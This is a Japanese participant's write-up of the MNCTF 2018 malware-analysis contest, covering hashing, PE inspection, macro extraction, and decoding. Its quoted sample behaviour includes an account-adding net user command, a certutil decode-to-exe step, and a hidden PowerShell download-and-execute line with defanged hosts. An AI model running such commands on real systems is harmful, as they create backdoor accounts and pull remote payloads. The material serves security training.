MNCTF 2018 WriteUp
MNCTF 2018@Macnica Networks DAY(@東京コンファレンスセンター・品川)に参加してまいりました
結果としては14問中10問を解いて14位でした。
LibreOfficeがウントモスントモ言わなくなるトラブルさえなければもうちょい行けたと思ってます(←言い訳)
ということでWriteUpです。
画面を見る限り上から下に難易度が上がっていきそうなので、素直に上から解いていきました
■【練習問題☆☆☆】
その名の通り、いつもの点呼です
■【新人奮闘Ⅰ★☆☆】
与えられたEXEファイル(AD_OptimizationTool.exe)のSHA256ハッシュ値を求めて回答する問題
hashmyfilesで調べました。
★これを解いてるあたりでグラなんとかさんが独走しすぎて運営から物言いがでる一幕がw
■【新人奮闘Ⅱ★☆☆】
AD_OptimizationTool.exeについて以下の情報を求めて回答する問題
(検体解析レポートの作成を体験するような感じでした)
→hashmyfilesで求めました
(2)ファイルサイズ
→ファイルのプロパティを見ました
(3)ビルド日付(UTC)
→PE ExplorerでPEヘッダ情報を参照しました
Time Date Stamp = 5B45DFF0h = 11/07/2018 10:46:08
※JSTで入力しちゃってちょっと躓きかけました
※ファイルプロパティのファイル作成日時は2秒違い(10:46:10)になっており、引っかかっている人がいました
(4)呼び出しているAPI
OllyDbgで開いたところ、呼び出されたAPIが丸見えでした
■【新人奮闘Ⅲ★☆☆】
AD_OptimizationTool.exeの実行結果として呼び出されるコマンドを答える問題
OllyDbgで開いた画面にShellExecuteで呼び出されるコマンドラインが見えていたのでそれがフラグ
→net user /add /domain vpnadmin P@ssw0rD1!
■【新人奮闘Ⅳ★☆☆】
AD_OptimizationTool.exeが行った通信を含むVPNログが与えられ、通信日時を割り出す問題
ファイルを開くと通信元のユーザと日時、IPがログに記録されている
Ⅲのコマンドラインを見ると、vpnadminユーザが当該バイナリによって追加されることがわかるので、これを検索してみると、ログが一行だけ引っかかるので日時を回答
■【新人奮闘Ⅴ★☆☆】
AD_OptimizationTool.exeの通信先となるC2サーバの存在する国を回答する問題
Ⅳで特定したログにIPが存在する(27.117.128.1)ので、適当なWhoisサービスのサイトにぶっこんでみると、KORと出てくる
KOREAなので韓国
■【大量不正★★☆】
マルウェアらしきバイナリ?が100本(sample1.bin~sample99.bin)与えられ、その中で類似している検体を探す問題
バイナリの類似性を求めるにはssdeepということで、以下のようにコマンド実行してみる
ssdeep sample* > result.csv
result.csvにすべてのssdeepハッシュ値が出力されるので、LibreOfficeで開いてソートを試みる→LibreOfficeウントモスントモ問題発生
結局Ubuntu上にresult.csvを移してUbuntu上のLibreOfficeで閲覧することで何とか解決
sample1.binとsample68.binが類似する検体でした
■【種類特定★★☆】
pcapファイルが与えられ、通信の特徴からマルウェアを特定する問題
通信を見てもいまいちピンと来なかったので、エスパーすることに(英字みたいだし)
Ursnif→Goziと入れてみた時点で正解
※本当はUrsnifも正解だったっポイ(フラグのミス)
■【標的攻撃Ⅰ★★☆】
製品価格一覧20180711.xlsに含まれるマクロを解析する問題
→特定のユーザでしか動作しないマクロだったため、そのユーザ名を回答する問題
★ここで、LibreOfficeウントモスントモ問題がまともに直撃
olevba(ハンズオンでも解説があった通り、oletoolsに含まれるマクロ抽出ツール)を使う方針に切り替えようかと思いましたが、【大量不正】もこの時点で解けていなかったのでとりあえずxlsファイルを開く方法を模索し始めました
LibreOffice再インストール→×復旧せず
OpenOfficeインストール→〇開けるようになりました
で何とかxlsファイルとマクロの中身を参照し、C6~C11に含まれるデータとユーザ名を比較していることを確認し、回答
かなり手間取り、残り10分切った状態。。。
※優勝した痩せたい人はサクッとOffice365をその場で購入したそうです
※思い切りが足りなかったな。。。やはり正規品が一番です
■【標的攻撃Ⅱ★★☆】
製品価格一覧20180711.xlsを実行したことで発生する通信の通信先URLを答える問題
マクロを参照できたことで、通信先もマクロ内に記載されていました
以下URLに対しGETしています
https[:]//gist.githubusercontent[.]com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert
■【標的攻撃Ⅲ★★☆】解けませんでした
製品価格一覧20180711.xlsを実行したことによる二次検体のSHA256ハッシュ値を答える問題
★OpenOfficeはマクロを閲覧/編集はできたので、ユーザ名判定が必ず通るように条件を変更してマクロを実行しましたが、実行できず。。。正規品買ってればw
ここでタイムアップでした
後で冷静にマクロを解析すると、ⅡでGETしてきたpem形式のファイルに対して以下のコマンドを実行して二次検体を生成していました
certutil -decode cert.pem cert.exe
■【標的攻撃Ⅳ★★☆】解けませんでした
終了後にⅢで生成した二次検体を実行し、以下の2つの方法で通信先を確認しました
(1)実行後に一瞬だけ表示されるコマンドプロンプトをキャプチャし、呼び出されているPowerShellコマンド中のURLを確認
(2)実行時にProcessExplorerを仕掛けておき、PowerShellのプロセスが実行されることを確認→プロパティを確認すると、実行時のコマンドラインが含まれており、その中のURLを確認
powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https[:]//shinobotps1[.]com/download_get.php');
■【穴埋防御★★★】解けませんでした
与えられたバイナリファイルを検出するためのYARAルールを穴埋めする問題
→穴埋めする箇所は、検体のString情報としてMutexを検出するルール
(1)まずバイナリはBase64ぽいので戻すと、PowerShellスクリプトが出てくる
"function Invoke-ReflectivePEInjection"から始まるので、何らかのペイロードをインジェクションするタイプのスクリプトだとわかる
(2)PowerShellスクリプトの最下部にBase64ぽい文字列が含まれており、再度decode
→実行形式にならない
★この時点で時間不足で諦め
PowerShellスクリプトをちゃんと読めば(2)のバイナリに対し、
$PEBytes[$i]=$PEBytes[$i] -bXOR 0x17
0x17でXORを掛けるとEXEファイルが得られ、それを解析することでMutexがわかったようだ
■【盗難情報★★☆】解けませんでした
暗号化されたバイナリ(encrypted.bin)を復号することで盗み出された情報を特定する問題
暗号化の手順は判明していて、
XOR(シングルバイトキー)→Base64→ROT13
逆順にデコードを試みる
→ROT13、Base64はできたが、XORキーが分からない
総当たりすれば分かる?と思うが、時間がないので諦め
★解説にあったCyberChefを使えばXOR BruteForceができる
★便利そうなのでもう少し使い方を覚えたい
TOP10には入りたかったなあ